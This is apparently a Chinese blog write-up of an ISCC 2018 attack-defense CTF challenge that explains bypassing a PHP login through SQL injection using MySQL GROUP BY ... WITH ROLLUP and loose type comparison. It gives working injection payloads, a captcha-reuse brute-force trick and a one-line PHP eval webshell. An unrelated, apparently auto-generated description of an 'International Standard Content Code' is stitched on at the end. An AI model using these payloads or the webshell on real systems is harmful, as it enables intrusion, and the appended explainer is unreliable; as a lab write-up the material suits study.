iscc2018攻防

本文借助ISCC线下攻防赛复现,介绍SQL注入绕过思路与技巧。因多数关键词被过滤,盲注不可行,可利用mysql的group by与with rollup子句绕过。还给出两种满足条件的姿势,成功注入后可得到webshell地址。强调SQL注入本质是巧妙构造利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题记

 继续未完成的使命和历程,借助iscc线下攻防赛的复现,窥探一下攻防赛的思路与技巧。

正文

首先打开界面发现一个登陆界面一个注册界面,先看一个注册界面得源码如下:

<html>
<head>
    <title>注册</title>
</head>
<body>
    <h1 style='text-align:center'>注册</h1>
    <div style="text-align:center">
        <form action="register.php" method="GET">
            用户名:iscc_<input type="text"  name="uname" placeholder="请输入四位数字" />
            <br/><br/>
            密码:<input type="password" name="pwd"/>
            <br/><br/>
            <input type="submit" value="注册">
        </form>
    </div>
</body>
</html>

看主界面发现这是个提示,也就是真正得用户名是iscc+四位数字,并且注册功能已经关闭了。我们随便输入密码,用户名登陆,并用bp抓包。

查看返回包发现一个hint.txt,这是个提示,我们找到这个文件,如下

$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }
}else if(mysqli_num_rows($query) == 0){
    echo "你这密码不太对啊";
}
else{
    echo "数据太多了";
}

这应该是题目的部分源码,可以看出这里的逻辑就是,我们必须要使得提交的密码与查询出来的结果相同,但是这里的比较用的是==,也就是只需要满足弱类型比较下相等即可。

那么按照常规的思路,就是盲注注出密码,但是因为大多数关键词都被过滤了,所以盲注的思路在这里不可行。

group by与with rollup的妙用

这时要用到 mysql 中的 group bywith rollup 子句进行巧妙绕过。

group by ... with rollup 本身当然不是为了方便我们注入而设计的,这个语句在 sql 的数据统计方面有着很强大的功能,在这里简单介绍一下。

我这里用自己手里的 2004-2017 年全国 259 所高校在某地区招生数据做一下演示。

我们知道 group by 语句可以实现对查询的结果分类,比如如果我们想要统计各类高校各有多少所,可以这样:

 

mysql> select TYPE,count(NAME) from university where YEAR=2017 group by TYPE;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                        |           3 |
| 211高校/一流学科建设高校                                        |          30 |
| 211高校/一流学科建设高校/教育部直属                               |          36 |
| 211高校/双一流建设学科/教育部直属                                |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                 |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                       |          31 |
| 985高校/211高校/教育部直属                                      |           1 |
| 一流学科建设高校                                               |           9 |
| 教育部直属                                                    |           1 |
+--------------------------------------------------------------+-------------+

 

如果我们还想在最后一行输出一下一共有多少所高校,就可以使用 with rollup子句,他将在最后添加一行数据,用来显示上面的数据的 “汇总” ,注意这个汇总并不是 求和,后面会解释。

 

mysql> select TYPE,count(NAME) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                        |           3 |
| 211高校/一流学科建设高校                                        |          30 |
| 211高校/一流学科建设高校/教育部直属                               |          36 |
| 211高校/双一流建设学科/教育部直属                                |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                 |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                        |          31 |
| 985高校/211高校/教育部直属                                      |           1 |
| 一流学科建设高校                                                |           9 |
| 教育部直属                                                     |           1 |
| NULL                                                         |         259 |
+--------------------------------------------------------------+-------------+

 

大家可能发现了,在最后一行的数据中,除了数据的汇总,还有一个 NULL,这个NULL是用来表示非统计字段的。

那下面来解释一下,为什么说汇总不是 求和 ,假如我现在想查询各个类型的高校 2017 年在该地区的平均录取分数,并在最后输出所有高校的平均分:

 

mysql> select TYPE,avg(AVERAGESCORE) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+--------------------+
| TYPE                                                         | avg(AVERAGESCORE ) |
+--------------------------------------------------------------+--------------------+
|                                                              | 506.14814814814815 |
| 211高校/一流大学建设高校                                        |                526 |
| 211高校/一流学科建设高校                                        |  560.8333333333334 |
| 211高校/一流学科建设高校/教育部直属                               |  568.9722222222222 |
| 211高校/双一流建设学科/教育部直属                                 |  563.3333333333334 |
| 211高校/教育部直属                                             |                594 |
| 985高校/211高校                                               |              287.5 |
| 985高校/211高校/一流大学建设高校                                 |                638 |
| 985高校/211高校/一流大学建设高校/教育部直属                        |  551.3870967741935 |
| 985高校/211高校/教育部直属                                      |                  0 |
| 一流学科建设高校                                                |  437.6666666666667 |
| 教育部直属                                                     |                605 |
| NULL                                                         |  525.7837837837837 |
+--------------------------------------------------------------+--------------------+

可以看到,最后一行的结果并不是上面查询的结果的和,而是上面数据的平均值。

这样我们就可以看出,with rollup 子句,对数据进一步处理的方式,是由查询数据时,对数据处理使用的函数决定的。

如何绕过

我们继续看题目的源码,如下

$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }

既然我们无法猜出密码到底是什么,那么我们可不可以控制查询的结果是我们自己已知的呢?结合上面对group by ... with rollup语句的介绍,我们可以想到,我们可以控制查询的结果为NULL,再结合 PHP 的弱类型 null=='',就可以成功绕过了。

那么我们接下来只需要构造 payload,使得查询结果为 NULL, 但是要想使用group by ... with rollup构造出NULL的一个前提条件,就是查询出的结果不为空,那么我们就需要使 uname = '{$_POST['uname']}'这个条件成立,满足这个条件了,再结合limitoffset 很容易就可以返回的结果为NULL

那么如何满足这个前提条件呢?

姿势一

结合我们已经掌握的信息,在注册页面我们已经知道账户的格式是 ISCC_+四位数字,这里其实很明显是要我们去爆破,找到这个用户名,而登录的位置存在验证码,正常来讲是不能够爆破的,但是使用 Burpsuite 简单测试一下可以发现,网站并不是在用户提交表单后、判断验证码正确性之后就直接在后端生成新的验证码返回给前端,而是在前端进行请求,进行验证码的更新。也就是说,只要我们拦截/不发送这个请求,验证码就不会更新!

那么我们就可以进行爆破了,构造好 payload:

uname=iscc_0001'group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465

然后使用 Burpsuite 爆破即可。

 

uname=iscc_7980' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465

这个payload的回显中发现注入成功。

 

姿势二

其实我们可以更轻松地满足 uname = '{$_POST['uname']}',就是利用 SQL 的弱类型,具体情况与 php 类似,我简单举几个例子,相信大家就能明白了。

mysql> select 'aaaa' = 0;
+------------+
| 'aaaa' = 0 |
+------------+
|          1 |
+------------+
1 row in set, 1 warning (0.00 sec)
​
mysql> select 'aaaa11' = 0;
+--------------+
| 'aaaa11' = 0 |
+--------------+
|            1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
​
mysql> select '20aaaa' = 20;
+---------------+
| '20aaaa' = 20 |
+---------------+
|             1 |
+---------------+
1 row in set, 1 warning (0.00 sec)

sql在一个数值和字符串进行比较的时候,会将字符串转换成数值,观察上述代码,"aaaa"=0 比较的时候,会将aaaa转化成数值,强制转化,由于aaaa是字符串,转化的结果是0自然和0相等。

"20aaaa"==20 比较的时候会将20aaaa转化成数值,结果为20,而“aaaa11“=0 却为true,也就是"aaaa11"被转化成了0。

于是我们可以构造'1'^1=1^1=0=字母开头的字符串,使条件被满足。

于是最后的payload:

uname=1'^1 group by pwd with rollup limit 1 offset 1#&pwd=

 

或者

cc'^0 group by pwd with rollup limit 1 offset 1#&pwd=

 

只要最终为true就行

拼接后的 sql 语句就是:

SELECT pwd FROM user WHERE uname = '1'^1 group by pwd with rollup limit 1 offset 1#
SELECT pwd FROM user WHERE uname = 'cc'^0 group by pwd with rollup limit 1 offset 1#

 

getflag

成功注入后,会输出一个字符串

+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-

是 utf-7 格式编码的 webshell 地址,写个python脚本进行解码

s='+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-'
t=s.decode('utf-7')
print t

得到webshell的地址,接下来就可以开打了

<?php 
show_source(__FILE__);
@eval($_POST['pass']);?>

Think in Think

  sql注入的本质还是通过绕过,巧妙构造来利用,这个是不会变的,而我们测试的需要注意的是耐心与条理并行!

03-18
### ISCC (International Standard Content Code) Overview The International Standard Content Code (ISCC) is a standard designed to uniquely identify digital content objects, facilitating their management and distribution across various platforms. Unlike the **International Symposium on Computer Architecture (ISCA)**[^1], which focuses on advancements in computer architecture research, ISCC serves as an identifier system for multimedia assets such as audio, video, images, and text. #### Purpose of ISCC The primary purpose of ISCC is to provide a standardized method for generating unique identifiers that can be used to track, manage, and protect intellectual property rights associated with digital content. This ensures interoperability between different systems while maintaining consistency in metadata representation[^2]. #### Components of ISCC An ISCC code typically consists of four components: 1. **Header**: Identifies the type of media being encoded. 2. **Descriptor**: Contains descriptive information about the content. 3. **Fingerprint**: A cryptographic hash derived from the file's binary data, ensuring uniqueness even when files are altered slightly. 4. **Metadata Hash**: Represents additional attributes like authorship or licensing details. These elements work together to create comprehensive yet concise representations suitable for both human readership and machine processing purposes. #### Applications of ISCC Some common applications include copyright protection schemes where creators attach licenses directly linked via these codes; search engines utilizing them during indexing processes so users find exact matches more efficiently than traditional keyword searches alone would allow; also within blockchain technologies enabling decentralized storage solutions without losing traceability over time due to network changes etcetera. ```python import hashlib def generate_iscc_fingerprint(file_path): sha256_hash = hashlib.sha256() with open(file_path,"rb") as f: # Read and update hash string value in blocks of 4K for byte_block in iter(lambda: f.read(4096),b""): sha256_hash.update(byte_block) return sha256_hash.hexdigest() file_name = 'example.mp4' print(f"Fingerprint for {file_name}: {generate_iscc_fingerprint(file_name)}") ``` This Python snippet demonstrates how one might compute part of an ISCC fingerprint by hashing a given input file using SHA-256 algorithm—a widely accepted practice among developers implementing similar standards today.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值